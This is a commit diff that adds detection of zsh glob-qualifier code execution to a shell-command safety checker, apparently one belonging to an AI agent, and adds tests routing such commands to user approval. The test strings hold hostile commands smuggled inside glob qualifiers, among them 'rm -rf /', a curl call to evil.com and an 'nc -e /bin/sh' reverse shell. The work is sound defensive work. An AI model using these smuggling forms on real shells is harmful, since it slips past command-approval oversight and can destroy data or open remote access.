Handle zsh glob qualifiers correctly (#7667)

This commit is contained in:
Matt Rubens 2025-09-04 11:14:25 -04:00 committed by GitHub
parent 966ed76ce2
commit b50104cc59
No known key found for this signature in database
GPG key ID: B5690EEEBB952194
2 changed files with 57 additions and 1 deletions

View file

@ -292,6 +292,27 @@ ls -la || echo "Failed"`
expect(containsDangerousSubstitution("ls =(sudo apt install malware)")).toBe(true)
})
it("detects zsh glob qualifiers with code execution (e:...:)", () => {
// Basic glob qualifier with command execution
expect(containsDangerousSubstitution("ls *(e:whoami:)")).toBe(true)
// Various glob patterns with code execution
expect(containsDangerousSubstitution("cat ?(e:rm -rf /:)")).toBe(true)
expect(containsDangerousSubstitution("echo +(e:sudo reboot:)")).toBe(true)
expect(containsDangerousSubstitution("rm @(e:curl evil.com:)")).toBe(true)
expect(containsDangerousSubstitution("touch !(e:nc -e /bin/sh:)")).toBe(true)
// Glob qualifiers in middle of command
expect(containsDangerousSubstitution("ls -la *(e:date:) test")).toBe(true)
// Multiple glob qualifiers
expect(containsDangerousSubstitution("cat *(e:whoami:) ?(e:pwd:)")).toBe(true)
// Glob qualifiers with complex commands
expect(containsDangerousSubstitution("ls *(e:open -a Calculator:)")).toBe(true)
expect(containsDangerousSubstitution("rm *(e:sudo apt install malware:)")).toBe(true)
})
it("does NOT flag safe parameter expansions", () => {
// Regular parameter expansions without dangerous operators
expect(containsDangerousSubstitution("echo ${var}")).toBe(false)
@ -324,6 +345,12 @@ ls -la || echo "Failed"`
// Safe comparison operators
expect(containsDangerousSubstitution("if [ $a == $b ]; then")).toBe(false)
expect(containsDangerousSubstitution("test $x != $y")).toBe(false)
// Safe glob patterns without code execution qualifiers
expect(containsDangerousSubstitution("ls *")).toBe(false)
expect(containsDangerousSubstitution("rm *.txt")).toBe(false)
expect(containsDangerousSubstitution("cat ?(foo|bar)")).toBe(false)
expect(containsDangerousSubstitution("echo *(^/)")).toBe(false) // Safe glob qualifier (not e:)
})
it("handles complex combinations of dangerous patterns", () => {
@ -349,6 +376,9 @@ ls -la || echo "Failed"`
// The new zsh process substitution exploit
expect(containsDangerousSubstitution("ls =(open -a Calculator)")).toBe(true)
// The zsh glob qualifier exploit
expect(containsDangerousSubstitution("ls *(e:whoami:)")).toBe(true)
})
})
})
@ -965,6 +995,25 @@ describe("Unified Command Decision Functions", () => {
// Combined with denied commands
expect(getCommandDecision("rm =(echo test)", ["echo"], ["rm"])).toBe("auto_deny")
})
it("prevents auto-approval for zsh glob qualifier exploits", () => {
// The zsh glob qualifier exploit with code execution
const globExploit = "ls *(e:whoami:)"
// Even though 'ls' might be allowed, the dangerous pattern prevents auto-approval
expect(getCommandDecision(globExploit, ["ls", "echo"], [])).toBe("ask_user")
// Various forms should all be blocked
expect(getCommandDecision("cat ?(e:rm -rf /:)", ["cat"], [])).toBe("ask_user")
expect(getCommandDecision("echo +(e:date:)", ["echo"], [])).toBe("ask_user")
expect(getCommandDecision("touch @(e:pwd:)", ["touch"], [])).toBe("ask_user")
expect(getCommandDecision("rm !(e:ls:)", ["rm"], [])).toBe("ask_user") // rm not in allowlist, has dangerous pattern
// Combined with denied commands
expect(getCommandDecision("rm *(e:echo test:)", ["echo"], ["rm"])).toBe("auto_deny")
// Multiple glob qualifiers
expect(getCommandDecision("ls *(e:whoami:) ?(e:pwd:)", ["ls"], [])).toBe("ask_user")
})
})
it("returns auto_deny for commands with any sub-command auto-denied", () => {

View file

@ -72,6 +72,7 @@ type ShellToken = string | { op: string } | { command: string }
* - ${!var} - Indirect variable references
* - <<<$(...) or <<<`...` - Here-strings with command substitution
* - =(...) - Zsh process substitution that executes commands
* - *(e:...:) or similar - Zsh glob qualifiers with code execution
*
* @param source - The command string to analyze
* @returns true if dangerous substitution patterns are detected, false otherwise
@ -105,13 +106,19 @@ export function containsDangerousSubstitution(source: string): boolean {
// =(...) creates a temporary file containing the output of the command, but executes it
const zshProcessSubstitution = /=\([^)]+\)/.test(source)
// Check for zsh glob qualifiers with code execution (e:...:)
// Patterns like *(e:whoami:) or ?(e:rm -rf /:) execute commands during glob expansion
// This regex matches patterns like *(e:...:), ?(e:...:), +(e:...:), @(e:...:), !(e:...:)
const zshGlobQualifier = /[*?+@!]\(e:[^:]+:\)/.test(source)
// Return true if any dangerous pattern is detected
return (
dangerousParameterExpansion ||
parameterAssignmentWithEscapes ||
indirectExpansion ||
hereStringWithSubstitution ||
zshProcessSubstitution
zshProcessSubstitution ||
zshGlobQualifier
)
}